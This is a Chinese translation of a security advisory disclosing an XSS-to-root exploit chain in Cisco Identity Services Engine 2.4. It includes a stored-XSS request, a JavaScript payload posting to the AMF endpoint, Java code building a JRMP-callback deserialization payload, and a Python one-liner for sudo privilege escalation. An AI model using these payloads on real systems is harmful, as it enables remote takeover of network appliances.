点击上方蓝字“Ots安全”一起玩耍
作者:Pedro Ribeiro ( pedrib@gmail.com | @pedrib1337 ) 来自Agile Information Security和 Dominik Czarnota ( [email protected] )
产品信息
从供应商的网站:
-
思科身份服务引擎 (ISE) 是您简化安全策略管理和降低运营成本的一站式解决方案。借助 ISE,您可以看到用户和设备通过有线、无线和 VPN 连接控制对公司网络的访问。
-
思科 ISE 允许您为用户和设备提供高度安全的网络访问。它可以帮助您了解网络中正在发生的事情,例如连接了谁、安装和运行了哪些应用程序等等。它还与思科技术合作伙伴的集成解决方案共享重要的上下文数据,例如用户和设备身份、威胁和漏洞,因此您可以更快地识别、遏制和修复威胁。”
概括
ISE 由思科作为虚拟设备分发。我们分析了 2.4.0.357 版本并发现了三个漏洞:未经身份验证的存储跨站点脚本、经过身份验证的 Java 反序列化漏洞导致以非特权用户身份远程执行代码,以及从非特权用户到 root 的权限提升。
通过将它们放在一起,我们可以以 root 身份实现远程代码执行,前提是我们可以说服管理员访问易受存储的跨站点脚本攻击的 ISE 页面。因此,当与网络钓鱼攻击相结合时,此漏洞链非常适合展示跨站点脚本的风险。
实现这个完整漏洞利用链的 Ruby 漏洞利用(在本文件末尾的端到端漏洞利用中有更详细的描述)在与本公告相同的存储库中公开可用。
您还可以在 YouTube 上观看该漏洞利用的视频。
https://www.youtube.com/watch?v=NZmZid-1_jU
本公告中的所有漏洞均由 Agile Information Security 独立发现。但是,Groupe Technologie Desjardins 的 Olivier Arteau也发现了漏洞 #2(不安全的 Flex AMF Java 对象反序列化)并将其报告给思科,并且Hector Cuesta也发现了漏洞 #3(通过不正确的 sudo 文件权限提升权限)并报告给思科.
虽然思科将发现漏洞 #1 的功劳归功于敏捷信息安全,但它并没有发现漏洞 #2 和 #3,并且还拒绝为这两个漏洞提供 CVE。
它还说关于#3:
“此问题已被评估为改善设备安全状况的强化措施。根据我们的安全漏洞政策,我们要求不要为严重影响等级 (SIR) 低于中等的问题请求 CVE 分配。此问题将在即将发布的 ISE 版本中修复”。
截至 2019 年 5 月 2 日,思科仍建议将 2.4.0.357 版(受此公告中的所有漏洞影响)作为其软件下载页面中的“建议版本”。
这些行为表明,思科在客户安全方面的疏忽令人难以置信。他们仍在发布(并推荐)一个易受未经身份验证的远程代码执行攻击的产品版本,具有完全有效的公开漏洞,并且无法跟踪这些漏洞的修复或修复版本。
Agile Information Security 非常感谢 Beyond Security 的 SSD 安全披露计划帮助我们向思科披露这些漏洞,并在他们的网站上发布公告。
该公告最后更新于 2021 年 6 月 30 日(移植到 Markdown、完善的漏洞利用和视频链接)。
漏洞详情
#1:存储的跨站点脚本
-
CWE-79:跨站脚本
-
CVE-2018-15440
-
风险分类:高
-
攻击向量:远程
-
约束:无;可被未经身份验证的攻击者利用
-
受影响的版本:在 ISE 虚拟设备 v2.4.0.357 上确认
该LiveLogSettingsServlet,在暴露给未经授权的用户/管理员/ LiveLogSettingsServlet,包含了存储的跨站点脚本漏洞。所述的doGet() HTTP请求处理程序需要在一个行动参数作为HTTP查询变量,其可以是“读”或“写”。
使用“write”参数,它调用writeLiveLogSettings()函数,然后该函数采用多个查询字符串变量,例如 Columns、Rows、Refresh_rate 和 Time_period。
然后将这些查询字符串变量的内容写入/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt,服务器以 HTTP 200 OK 响应。这些参数未经验证,可以包含任何文本。
当Action参数等于 "read" 时,servlet 将读取/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt文件并将其显示给用户,内容类型为"text/html",导致写入的内容该文件将由浏览器呈现和执行。
要发起简单的攻击,我们可以发送以下请求:
GET /admin/LiveLogSettingsServlet?Action=write&Columns=1&Rows=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&Refresh_rate=1337&Time_period=1337
然后可以通过以下方式触发:
GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Content-Length: 164
Server:
<Settings>
<Columns>
<Col>1</Col>
</Columns>
<Rows><script>alert(1)</script></Rows>
<Refresh_rate>1337</Refresh_rate>
<Time_period>1337</Time_period>
</Settings>
这将导致浏览器中弹出一个警告框,这意味着在浏览器中执行了 Javascript 代码。未经身份验证的攻击者可以利用此漏洞。
#2:不安全的 Flex AMF Java 对象反序列化
-
CWE-502:不可信数据的反序列化
-
CVE-2017-5641
-
风险分类:严重
-
攻击向量:远程
-
约束:需要对管理 Web 界面进行身份验证
-
受影响的版本:在 ISE 虚拟设备 v2.4.0.357 上确认
通过向/admin/messagebroker/amfsecure发送带有随机数据的 HTTP POST 请求,服务器将响应 200 OK 和二进制数据,其中包括:
...Unsupported AMF version XXXXX...
这表明服务器在该位置有一个 Apache / Adobe Flex AMF (BlazeDS) 端点。服务器上运行的 BlazeDS 库版本为 4.0.0.14931,这意味着它容易受到 CVE-2017-5641 的攻击,其描述如下:
“Apache Flex BlazeDS 的早期版本(4.7.2 及更早版本)没有限制默认情况下允许 AMF(X) 对象反序列化的类型。在反序列化过程中执行的代码对于几种已知类型具有不希望的副作用。其他”,未知类型也可能表现出此类行为。Java 标准库中存在一个向量,它允许攻击者触发可能进一步可利用的 Java 反序列化不可信数据。第三方库中的其他已知向量可用于触发远程代码执行。”
该漏洞之前曾被Agile Information Security在DrayTek VigorACS 中利用过。有关此漏洞的更多详细信息,请参阅该公告和漏洞利用以及这些 其他 资源。
我们能够重新使用VigorACS 公告中的一些漏洞利用代码来创建二进制 AMF 负载,该负载将作为 iseadminportal 用户在服务器上执行。
漏洞利用链的工作方式相同:
-
将 AMF 二进制有效负载发送到/admin/messagebroker/amfsecure ,如此处所述,以触发 Java 远程方法协议 (JRMP) 回调给攻击者
-
使用ysoserial 的 JRMP 侦听器接收 JRMP 连接
-
使用 ROME 负载调用 ysoserial,因为 Rome (1.0 RC2) 的易受攻击版本位于服务器的 Java 类路径中
-
执行 ncat(二进制文件在 ISE 虚拟设备上)并返回以 iseaminportal 用户身份运行的反向 shell
强烈建议阅读Code White的 Markus Wulftange的建议,以便更好地了解此漏洞。
此漏洞只能由有权访问管理门户的经过身份验证的攻击者利用。
#3:通过不正确的 sudo 和文件权限提升权限
-
CWE-268:权限链接
-
未分配 CVE;跟踪为 SSD-3778
-
风险分类:高
-
攻击向量:本地
-
约束:需要以 iseadminportal 用户身份运行的命令外壳
-
受影响的版本:在 ISE 虚拟设备 v2.4.0.357 上确认
iseadminportal 用户可以通过 sudo('sudo -l' 的输出)以 root 身份运行各种命令:
(root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh *
(root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh *
(root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh *
(root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh *
(root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *
但是,上面的所有文件都可以由 iseadminportal 用户写入。这使得执行权限提升到 root 变得微不足道。所需要做的就是编辑文件,并在第二行和/或最后一行添加“/bin/sh”,然后以 sudo 身份运行脚本以获取 root shell。
端到端漏洞利用
到现在为止,您应该对如何构建完整的漏洞利用链有了一个不错的了解。由于漏洞 #2 (AMF RCE) 只能由经过身份验证的管理员利用,我们可以使用漏洞 #1(存储的 XSS)作为未经身份验证的攻击者设置陷阱。
攻击顺序如下:
-
通过滥用存储的跨站点脚本(漏洞 #1),我们可以创建一个恶意的 Javascript(有效负载如下),将存储在/admin/LiveLogSettingsServlet 中
-
如果登录用户访问该页面,则 Javascript 负载将使用以下 AMF Java 代码创建的负载向/admin/messagebroker/amfsecure发送XMLHttpRequest(漏洞 #2),从而以 iseadminportal 用户身份实现远程代码执行
-
漏洞利用代码将返回一个反向shell,然后我们可以使用不正确的文件权限(漏洞#3)将我们的权限提升为root:
python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ "$1" == 1337 ];thenn/bin/bashnfin");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'
此python代码将在/opt/CSCOcpm/bin/file-info.sh的末尾添加一个“if”子句,用于查找“1337”参数,并在看到它时以root身份执行/bin/bash。这样我们就不会弄乱任何可能使用该文件的重要系统功能,并且我们将获得完整的 root shell。
用 Ruby 编写的完整漏洞利用程序可在此处获得。
Javascript 有效载荷:
<script>
function b64toBlob(b64Data, contentType, sliceSize) {
contentType = contentType || '';
sliceSize = sliceSize || 512;
var byteCharacters = atob(b64Data);
var byteArrays = [];
for (var offset = 0; offset < byteCharacters.length; offset += sliceSize) {
var slice = byteCharacters.slice(offset, offset + sliceSize);
var byteNumbers = new Array(slice.length);
for (var i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
var byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
var blob = new Blob(byteArrays, {type: contentType});
return blob;
}
b64_payload = 'cGlzc2FuZXNzZWN1';
var xhr = new XMLHttpRequest();
xhr.open("POST", 'https://10.10.10.44/admin/messagebroker/amfsecure', true);
xhr.send(b64toBlob(b64_payload, 'application/x-amf'));
</script>
AMF Java 代码(此处作为 Maven 项目提供):
package uk.co.agileinfosec.acsflex;
import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;
public class ACSFlex {
public static void main(String[] args) {
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
try {
byte[] amf = new byte[0];
amf = serialize((unicastRef));
DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));
os.write(amf);
System.out.println("Done, payload written to " + args[2]);
} catch (IOException e) {
e.printStackTrace();
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
}
修复/解决方案:
Cisco 声称漏洞 #1 已在 2.2.0.913 版本中修复。不知道它是否在 2.4.x 版本中修复。Cisco 声称漏洞 #2 已在 2.4.0.905 版本中修复。通过思科自己也承认,漏洞#3是不固定为2019年5月2日。
本文始发于微信公众号(Ots安全):【漏洞利用】思科身份服务引擎中的多个漏洞(以 root 身份从 XSS 到 RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论